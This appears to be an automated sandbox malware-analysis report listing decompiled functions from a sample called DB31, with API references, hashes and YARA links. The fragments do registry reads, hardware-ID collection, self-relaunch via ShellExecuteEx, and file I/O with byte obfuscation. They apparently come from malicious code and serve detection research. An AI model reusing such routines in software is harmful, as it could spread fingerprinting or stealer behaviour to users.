Opcode ID: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction ID: 4e01539bb3d2c282a73af516c558e114f3eec2120aea2764bae626352bcff954
Opcode Fuzzy Hash: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction Fuzzy Hash: 000104B5A01108BFDB44DFA8DD46F9E7BB8EF4C304F108158F509DB290D671AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B090, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B090() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a3f4; // 0x71a0a0
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a4dc; // 0x718de8
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b096
0x0040b0b1
0x0040b0bf
0x0040b0d3
0x0040b0e1
0x0040b0ec
0x0040b0ec
0x0040b0f6
0x0040b102

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
RegOpenKeyExA.ADVAPI32(80000002,0071A0A0,00000000,00020119,?), ref: 0040B0CB
RegQueryValueExA.ADVAPI32(?,00718DE8,00000000,00000000,?,000000FF), ref: 0040B0EC
RegCloseKey.ADVAPI32(?), ref: 0040B0F6

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: f8a54f85ee1b8cfc6e3047c75a8daca849fb19f3d1c37cdae7566096d66fd71d
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: 4C014FB5A41208BFD700DFE0DD49FEEB7B8EB48700F00C568FA05A7291D6745A50CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C0, Relevance: 7.5, APIs: 5, Instructions: 30
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040B2C0() {
				struct tagHW_PROFILE_INFOA _v132;
				void* _v136;

				if(GetCurrentHwProfileA( &_v132) == 0) {
					return 0x4191a0;
				}
				_v136 = RtlAllocateHeap(GetProcessHeap(), 0, 0x64);
				memset(_v136, 0, 4);
				 *0x41aa24(_v136,  &(_v132.szHwProfileGuid));
				return _v136;
			}

0x0040b2d5
0x00000000
0x0040b31a
0x0040b2e8
0x0040b2f9
0x0040b30a
0x00000000

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
memset.NTDLL ref: 0040B2F9
lstrcat.KERNEL32(?,?), ref: 0040B30A

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 53f97c33c887665c50d9d4951fdbbfd19b7c782c8dc218844e441fa5d8454051
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: 8FF05470A012099BDB20ABA4DD09B9977BCFB44701F008565FB45D7281DB359951CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004358A7, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 004358B9
_write_string.LIBCMTD ref: 00435EE9
_wctomb_s.LIBCMTD ref: 00435F92

Strings

-, xrefs: 00435E6E

Memory Dump Source

Source File: 00000010.00000002.777907871.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_42e000_DB31.jbxd

Similarity

API ID: __get_printf_count_output_wctomb_s_write_string
String ID: -
API String ID: 334050127-2547889144
Opcode ID: 548a158447387546a47c97b11c6662adfba77a05ada4193aa328d61066a0dc80
Instruction ID: 761f0deabccc8ec3ed4ee3dbe69909d2e7e627082b555ebaeae8e935f87cc279
Opcode Fuzzy Hash: 548a158447387546a47c97b11c6662adfba77a05ada4193aa328d61066a0dc80
Instruction Fuzzy Hash: 57A1ACB0D016299BDF24DF54CC4ABEEB7B0AF49304F2491DAE5187A281D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004356F5, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_write_string.LIBCMTD ref: 00435EE9
_wctomb_s.LIBCMTD ref: 00435F92

Strings

xD@, xrefs: 0043571C
-, xrefs: 00435E6E

Memory Dump Source

Source File: 00000010.00000002.777907871.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_42e000_DB31.jbxd

Similarity

API ID: _wctomb_s_write_string
String ID: -$xD@
API String ID: 4278932652-1745409720
Opcode ID: 415c66afc3168e609535fdf2386d21eb0ebb00ee8b575bd86915e2704085dbcc
Instruction ID: ea7188c86d2786e273d8944217a3b5d3ecb089d6eab377ee6099e04f96a7194c
Opcode Fuzzy Hash: 415c66afc3168e609535fdf2386d21eb0ebb00ee8b575bd86915e2704085dbcc
Instruction Fuzzy Hash: 04A18AB4D016299FDF24DF54CC89BEEB7B1AB48305F1481DAE418AB281D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00435B64, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435DA5
__aulldiv.LIBCMT ref: 00435DC7

Strings

9, xrefs: 00435DD8
0, xrefs: 00435B93

Memory Dump Source

Source File: 00000010.00000002.777907871.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_42e000_DB31.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 0$9
API String ID: 3839614884-1975997740
Opcode ID: 9096f4d8c22935f92e831cf10c9260f1816218745b6721c1cabbed6f4f051d1c
Instruction ID: 4819278d17abe6b7032f2e8517d71d9b2298d2433078bc0178c8de6c486af3e5
Opcode Fuzzy Hash: 9096f4d8c22935f92e831cf10c9260f1816218745b6721c1cabbed6f4f051d1c
Instruction Fuzzy Hash: A041F671D15A29DFEB24CF58C889BAEB7B5FB48304F2495DAD409A7240C738AE81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043CEA9, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D0E0
__aulldiv.LIBCMT ref: 0043D102

Strings

9, xrefs: 0043D113
', xrefs: 0043CEA9

Memory Dump Source

Source File: 00000010.00000002.777907871.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_42e000_DB31.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: '$9
API String ID: 3839614884-1823400153
Opcode ID: cf7e3859f476ca41df48e5183991e71ec24406bdf9df1bf0b0a9fc767aacd03c
Instruction ID: 08c6b47412c17e94efba92000d00d8888fef542c1cc809b4f90d40d04782fafd
Opcode Fuzzy Hash: cf7e3859f476ca41df48e5183991e71ec24406bdf9df1bf0b0a9fc767aacd03c
Instruction Fuzzy Hash: F04118B1E002299FDF24CF58D981BAEB7B5FF89318F10509AD248AB241C7785E85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004124F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004124F0(intOrPtr __ecx, void* _a4, char _a8) {
				int _v8;
				int _v12;
				char _v16;
				intOrPtr _v20;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x84)) == 0) {
					if( *(_v20 + 0x7c) == 0) {
						 *((intOrPtr*)(_v20 + 0x14)) = 0x1000000;
						return 0;
					}
					_t42 =  &_v16; // 0x412876
					_t43 =  &_a8; // 0x412876
					_v12 = ReadFile( *(_v20 + 0x7c), _a4,  *_t43, _t42, 0);
					if(_v12 != 0) {
						_t51 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) +  *_t51;
						_t54 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4,  *_t54);
						_t60 =  &_v16; // 0x412876
						return  *_t60;
					}
					return 0;
				}
				if( *((intOrPtr*)(_v20 + 0x8c)) <  *((intOrPtr*)(_v20 + 0x88))) {
					_v8 =  *((intOrPtr*)(_v20 + 0x88)) -  *((intOrPtr*)(_v20 + 0x8c));
					_t14 =  &_a8; // 0x412876
					if(_v8 >  *_t14) {
						_t15 =  &_a8; // 0x412876
						_v8 =  *_t15;
					}
					memcpy(_a4,  *((intOrPtr*)(_v20 + 0x84)) +  *((intOrPtr*)(_v20 + 0x8c)), _v8);
					 *((intOrPtr*)(_v20 + 0x8c)) =  *((intOrPtr*)(_v20 + 0x8c)) + _v8;
					 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) + _v8;
					 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4, _v8);
					return _v8;
				}
				return 0;
			}

0x004124f6
0x00412503
0x004125b7
0x00412617
0x00000000
0x0041261e
0x004125bb
0x004125bf
0x004125d4
0x004125db
0x004125e7
0x004125ed
0x004125f0
0x0041260a
0x0041260d
0x00000000
0x0041260d
0x00000000
0x004125dd
0x0041251b
0x00412536
0x0041253c
0x0041253f
0x00412541
0x00412544
0x00412544
0x00412562
0x00412577
0x00412589
0x004125a6
0x00000000
0x004125a9
0x00000000

APIs

memcpy.NTDLL(?,?,00004000,?,00412876,?,00004000), ref: 00412562
ReadFile.KERNEL32(00000000,?,v(A,v(A,00000000,?,00412876,?,00004000), ref: 004125CE

Strings

v(A, xrefs: 004125BB, 004125E7, 004125F0, 0041260D, 004125BE, 004125F3
v(A, xrefs: 004125BF, 0041253C, 00412541, 004125C2

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: FileReadmemcpy
String ID: v(A$v(A
API String ID: 1163090680-3205644266
Opcode ID: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction ID: 57ccbe00efff64c7029569c4514cc3a27c1a1315352579a716a79c0d7299f08d
Opcode Fuzzy Hash: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction Fuzzy Hash: 5641BAB5A00119EFCB44CF94C980EEEB7B6BF48304F108569E429D7351D735E951DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFA0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040BFA0(void* __ecx) {
				struct HINSTANCE__* _v32;
				struct HINSTANCE__* _v36;
				struct HINSTANCE__* _v40;
				CHAR* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				struct HINSTANCE__* _v56;
				struct HINSTANCE__* _v60;
				char _v64;
				char _v332;
				char _v596;
				CHAR* _t37;
				intOrPtr _t38;
				intOrPtr _t43;

				E0040B720( &_v596, 0x104);
				E0040B720( &_v332, 0x104);
				GetModuleFileNameA(0,  &_v332, 0x104);
				_t37 =  *0x41a2c4; // 0x71a600
				wsprintfA( &_v596, _t37,  &_v332);
				E0040B6E0(_t37,  &_v64, 0, 0x3c);
				_v64 = 0x3c;
				_v60 = 0;
				_v56 = 0;
				_t38 =  *0x41a694; // 0x700410
				_v52 = _t38;
				_t43 =  *0x41a770; // 0x7170c8
				_v48 = _t43;
				_v44 =  &_v596;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				 *0x41aa84( &_v64);
				E0040B720( &_v64, 0x3c);
				E0040B720( &_v596, 0x104);
				return E0040B720( &_v332, 0x104);
			}

0x0040bfb5
0x0040bfc6
0x0040bfd9
0x0040bfe6
0x0040bff4
0x0040c005
0x0040c00a
0x0040c011
0x0040c018
0x0040c01f
0x0040c025
0x0040c028
0x0040c02e
0x0040c037
0x0040c03a
0x0040c041
0x0040c048
0x0040c053
0x0040c05f
0x0040c070
0x0040c089

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0040BFD9
wsprintfA.USER32 ref: 0040BFF4
ShellExecuteEx.SHELL32(0000003C), ref: 0040C053

Strings

<, xrefs: 0040C00A

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction ID: b6c0095fef0d0179f9846f7a94a4eacab4548b86fc187f3e8670100f81996cfc
Opcode Fuzzy Hash: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction Fuzzy Hash: 5D21EDB1900208ABDB14EFA0DC89FDEB778EB48705F00456AF214B61D1DBB95648CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004120F0, Relevance: 6.1, APIs: 4, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004120F0(intOrPtr __ecx, void* _a4, long _a8) {
				long _v8;
				intOrPtr _v12;
				struct _FILETIME _v20;
				signed short _v24;
				signed short _v28;
				struct _SYSTEMTIME _v44;
				intOrPtr _v48;
				intOrPtr _t88;
				intOrPtr _t89;
				intOrPtr _t115;
				intOrPtr _t117;
				long _t130;
				intOrPtr _t131;
				intOrPtr _t132;

				_v48 = __ecx;
				 *(_v48 + 0x7c) = 0;
				 *(_v48 + 0x84) = 0;
				 *((char*)(_v48 + 0x80)) = 0;
				 *(_v48 + 0x78) = 0;
				 *(_v48 + 0x70) = 0;
				 *(_v48 + 0x90) = 0;
				 *(_v48 + 0x74) = 0;
				if(_a4 == 0 || _a4 == 0xffffffff) {
					return 0x10000;
				} else {
					_v8 = SetFilePointer( *(_v48 + 4), 0, 0, 1);
					if(_v8 == 0xffffffff) {
						 *((intOrPtr*)(_v48 + 0x4c)) = 0x80000000;
						 *(_v48 + 0x70) = 0xffffffff;
						if(_a8 != 0) {
							 *(_v48 + 0x70) = _a8;
						}
						 *((char*)(_v48 + 0x6c)) = 0;
						GetLocalTime( &_v44);
						SystemTimeToFileTime( &_v44,  &_v20);
						_t130 = _v20.dwLowDateTime;
						E00411670(_t130, _v20.dwHighDateTime,  &_v28,  &_v24);
						_t88 = E00411630(_v20.dwLowDateTime, _v20.dwHighDateTime);
						_t115 = _v48;
						 *((intOrPtr*)(_t115 + 0x50)) = _t88;
						 *(_t115 + 0x54) = _t130;
						_t131 = _v48;
						_t89 = _v48;
						 *((intOrPtr*)(_t131 + 0x58)) =  *((intOrPtr*)(_t89 + 0x50));
						 *((intOrPtr*)(_t131 + 0x5c)) =  *((intOrPtr*)(_t89 + 0x54));
						_t117 = _v48;
						_t132 = _v48;
						 *((intOrPtr*)(_t117 + 0x60)) =  *((intOrPtr*)(_t132 + 0x50));
						 *((intOrPtr*)(_t117 + 0x64)) =  *((intOrPtr*)(_t132 + 0x54));
						 *(_v48 + 0x68) = _v24 & 0x0000ffff | (_v28 & 0x0000ffff) << 0x00000010;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					_v12 = E00411720(_a4, _v48 + 0x4c, _v48 + 0x70, _v48 + 0x50, _v48 + 0x68);
					if(_v12 == 0) {
						SetFilePointer(_a4, 0, 0, 0);
						 *((char*)(_v48 + 0x6c)) = 1;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					return _v12;
				}
			}

0x004120f6
0x004120fc
0x00412106
0x00412113
0x0041211d
0x00412127
0x00412131
0x0041213e
0x00412149
0x00000000
0x0041215b
0x0041216e
0x00412175
0x004121df
0x004121e9
0x004121f4
0x004121fc
0x004121fc
0x00412202
0x0041220a
0x00412218
0x0041222a
0x0041222e
0x0041223e
0x00412246
0x00412249
0x0041224c
0x0041224f
0x00412252
0x00412258
0x0041225e
0x00412261
0x00412264
0x0041226a
0x00412270
0x00412283
0x0041228c
0x00000000
0x0041228f
0x0041219f
0x004121a6
0x004121ba
0x004121c3
0x004121cd
0x00000000
0x004121d0
0x00000000
0x004121a8

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00412ADE,?,?), ref: 00412168
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00412ADE), ref: 004121BA

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 73fee1c067eb70601bd9df8ab8ea40709189a789a85f05da52033877ad893135
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: 4A51D7749002099FDB04DFA8C484BDEBBB5BB4C304F14C15AE925AB391D775A986CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00411DB0, Relevance: 6.1, APIs: 4, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411DB0(intOrPtr __ecx, void* _a4, signed int _a8) {
				void* _v8;
				struct _OVERLAPPED* _v12;
				long _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				signed char _t101;
				void* _t102;
				intOrPtr _t110;
				intOrPtr _t113;
				intOrPtr _t128;
				intOrPtr _t131;
				void* _t148;

				_v28 = __ecx;
				_v8 = _a4;
				if(( *(_v28 + 0x2d) & 0x000000ff) == 0) {
					L11:
					_t110 = _v28;
					__eflags =  *((intOrPtr*)(_t110 + 0x20));
					if( *((intOrPtr*)(_t110 + 0x20)) == 0) {
						_t128 = _v28;
						__eflags =  *((intOrPtr*)(_t128 + 4));
						if( *((intOrPtr*)(_t128 + 4)) == 0) {
							 *((intOrPtr*)(_v28 + 0x14)) = 0x1000000;
							__eflags = 0;
							return 0;
						}
						WriteFile( *(_v28 + 4), _v8, _a8,  &_v16, 0);
						return _v16;
					}
					_t131 = _v28;
					_t113 = _v28;
					__eflags =  *((intOrPtr*)(_t131 + 0x24)) + _a8 -  *((intOrPtr*)(_t113 + 0x28));
					if( *((intOrPtr*)(_t131 + 0x24)) + _a8 <  *((intOrPtr*)(_t113 + 0x28))) {
						memcpy( *((intOrPtr*)(_v28 + 0x20)) +  *((intOrPtr*)(_v28 + 0x24)), _v8, _a8);
						 *((intOrPtr*)(_v28 + 0x24)) =  *((intOrPtr*)(_v28 + 0x24)) + _a8;
						return _a8;
					}
					 *((intOrPtr*)(_v28 + 0x14)) = 0x30000;
					return 0;
				}
				if( *(_v28 + 0x3c) != 0 &&  *((intOrPtr*)(_v28 + 0x40)) < _a8) {
					_v20 =  *(_v28 + 0x3c);
					E0040B5B0(_v20);
					_t148 = _t148 + 4;
					 *(_v28 + 0x3c) = 0;
				}
				_t117 = _v28;
				if( *(_v28 + 0x3c) == 0) {
					_t102 = E0040B590(_t117, _a8 << 1);
					_t148 = _t148 + 4;
					_v24 = _t102;
					 *(_v28 + 0x3c) = _v24;
					 *((intOrPtr*)(_v28 + 0x40)) = _a8;
				}
				memcpy( *(_v28 + 0x3c), _a4, _a8);
				_v12 = 0;
				while(1) {
					_t154 = _v12 - _a8;
					if(_v12 >= _a8) {
						break;
					}
					_t101 = E004114E0( *( *(_v28 + 0x3c) + _v12) & 0x000000ff, _t154, _v28 + 0x30,  *( *(_v28 + 0x3c) + _v12) & 0x000000ff);
					_t148 = _t148 + 8;
					 *( *(_v28 + 0x3c) + _v12) = _t101;
					_v12 =  &(_v12->Internal);
				}
				_v8 =  *(_v28 + 0x3c);
				goto L11;
			}

0x00411db6
0x00411dbc
0x00411dc8
0x00411e90
0x00411e90
0x00411e93
0x00411e97
0x00411ee9
0x00411eec
0x00411ef0
0x00411f15
0x00411f1c
0x00000000
0x00411f1c
0x00411f07
0x00000000
0x00411f0d
0x00411e99
0x00411ea2
0x00411ea5
0x00411ea8
0x00411ecd
0x00411edf
0x00000000
0x00411ee2
0x00411ead
0x00000000
0x00411eb4
0x00411dd5
0x00411de8
0x00411def
0x00411df4
0x00411dfa
0x00411dfa
0x00411e01
0x00411e08
0x00411e10
0x00411e15
0x00411e18
0x00411e21
0x00411e2a
0x00411e2a
0x00411e3c
0x00411e42
0x00411e54
0x00411e57
0x00411e5a
0x00000000
0x00000000
0x00411e71
0x00411e76
0x00411e82
0x00411e51
0x00411e51
0x00411e8d
0x00000000

APIs

new[].LIBCMTD ref: 00411E10
memcpy.NTDLL(00000000,?,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411E3C
memcpy.NTDLL(00000000,00004000,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411ECD

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: memcpy$new[]
String ID:
API String ID: 3541104900-0
Opcode ID: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
Instruction ID: 1be85da1f02f000736658b6362af722e2e86620b20a10b8620c900d99ce7c40f
Opcode Fuzzy Hash: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
Instruction Fuzzy Hash: 0051C7B8A00209DFCB44CF98C581EAEBBB6FF88314F548159EA05AB355D735E981CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040A620, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 63
stringCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E0040A620(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, signed int _a24) {
				char _v268;
				char _v532;
				void* _t26;
				intOrPtr _t35;
				intOrPtr _t38;
				void* _t44;
				void* _t46;

				E0040B720( &_v532, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B800( &_v268,  &_v532, 0x1a);
				 *0x41aa24( &_v532, _a4);
				 *0x41aa24( &_v268,  &_v532);
				_t35 =  *0x41a210; // 0x717c28
				 *0x41aa24( &_v268, _t35);
				_t26 = E0040BB70( &_v268);
				_t46 = _t44 + 0xc;
				if(_t26 != 0) {
					_t50 =  *0x41a83c;
					if( *0x41a83c == 0) {
						E00405420(_t35);
						 *0x41a83c = 1;
						_t38 =  *0x41a6a8; // 0x717fd0
						E00407900(_t38, _t50, _t38);
						_t46 = _t46 + 4;
					}
					return E004096E0(0x41401a,  &_v532, _a8, _a12, _a16, _a20, _a24);
				}
				return _t26;
			}

0x0040a635
0x0040a646
0x0040a654
0x0040a667
0x0040a67b
0x0040a681
0x0040a68f
0x0040a69c
0x0040a6a1
0x0040a6a6
0x0040a6a8
0x0040a6af
0x0040a6b1
0x0040a6b6
0x0040a6c0
0x0040a6c7
0x0040a6cc
0x0040a6cc
0x00000000
0x0040a6f4
0x0040a6fa

APIs

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

lstrcat.KERNEL32(?,00000000), ref: 0040A667
lstrcat.KERNEL32(?,?), ref: 0040A67B
lstrcat.KERNEL32(?,00717C28), ref: 0040A68F

Part of subcall function 0040BB70: GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Part of subcall function 00405420: lstrcat.KERNEL32(?,007120C8), ref: 0040549C
Part of subcall function 00405420: lstrcat.KERNEL32(?,00714840), ref: 004054B0
Part of subcall function 00405420: lstrcat.KERNEL32(?,00716120), ref: 004054C4
Part of subcall function 00405420: lstrcat.KERNEL32(?,007120C8), ref: 004054D7
Part of subcall function 00405420: lstrcat.KERNEL32(?,00714840), ref: 004054EB
Part of subcall function 00405420: lstrcat.KERNEL32(?,00716150), ref: 004054FF
Part of subcall function 00405420: lstrcat.KERNEL32(?,007120C8), ref: 00405512
Part of subcall function 00405420: lstrcat.KERNEL32(?,00714840), ref: 00405526
Part of subcall function 00405420: lstrcat.KERNEL32(?,00716138), ref: 0040553A
Part of subcall function 00405420: lstrcat.KERNEL32(?,007120C8), ref: 0040554D
Part of subcall function 00405420: lstrcat.KERNEL32(?,00714840), ref: 00405561
Part of subcall function 00405420: lstrcat.KERNEL32(?,00716168), ref: 00405575
Part of subcall function 00405420: lstrcat.KERNEL32(?,007120C8), ref: 00405588
Part of subcall function 00405420: lstrcat.KERNEL32(?,00714840), ref: 0040559C

Part of subcall function 00407900: GetEnvironmentVariableA.KERNEL32(00715680,0041B488,0000FFFF), ref: 0040792E
Part of subcall function 00407900: lstrcat.KERNEL32(?,0041B488), ref: 0040795D
Part of subcall function 00407900: lstrcat.KERNEL32(?,004191E8), ref: 0040796F
Part of subcall function 00407900: lstrcat.KERNEL32(?,00000000), ref: 00407980
Part of subcall function 00407900: SetEnvironmentVariableA.KERNEL32(00715680,?), ref: 00407994
Part of subcall function 00407900: LoadLibraryA.KERNEL32(00714880), ref: 004079B2
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00717BC8), ref: 004079D7
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00717D78), ref: 004079F0
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00718558), ref: 00407A08
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00717C58), ref: 00407A20
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,007185F8), ref: 00407A39
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00717C70), ref: 00407A51

Strings

(|q, xrefs: 0040A681

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcat$AddressProc$EnvironmentVariable$AttributesFileFolderLibraryLoadPath
String ID: (|q
API String ID: 1979142406-1838659866
Opcode ID: ec102a16ae7aa44b0eb1a498b8ace9779465f52e0f4dab4409791bc745fd9444
Instruction ID: f28decca28addda6498ee9190a0ca9526165cf385ec8dc0d29a16be75cd48475
Opcode Fuzzy Hash: ec102a16ae7aa44b0eb1a498b8ace9779465f52e0f4dab4409791bc745fd9444
Instruction Fuzzy Hash: 1C2178B650010C6BCB10EF91DC85EEA3378AB58304F04456EF55993191EBB9E5E4CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 0043CE96, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D0E0
__aulldiv.LIBCMT ref: 0043D102

Strings

9, xrefs: 0043D113

Memory Dump Source

Source File: 00000010.00000002.777907871.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_42e000_DB31.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: e8ce87a0913e18a2dbbcb61f134672f0a23d691852ae608fbce4db735bf6e8d0
Instruction ID: abea51b981e9117cd536ba56728133c457e3ce556f8d9cf165ea16bd495d3962
Opcode Fuzzy Hash: e8ce87a0913e18a2dbbcb61f134672f0a23d691852ae608fbce4db735bf6e8d0
Instruction Fuzzy Hash: 664128B1E102299FDF24CF58D981BAEB7B5FF89314F10509AD148AB240C7785E85CF5A

Uniqueness

Uniqueness Score: -1.00%

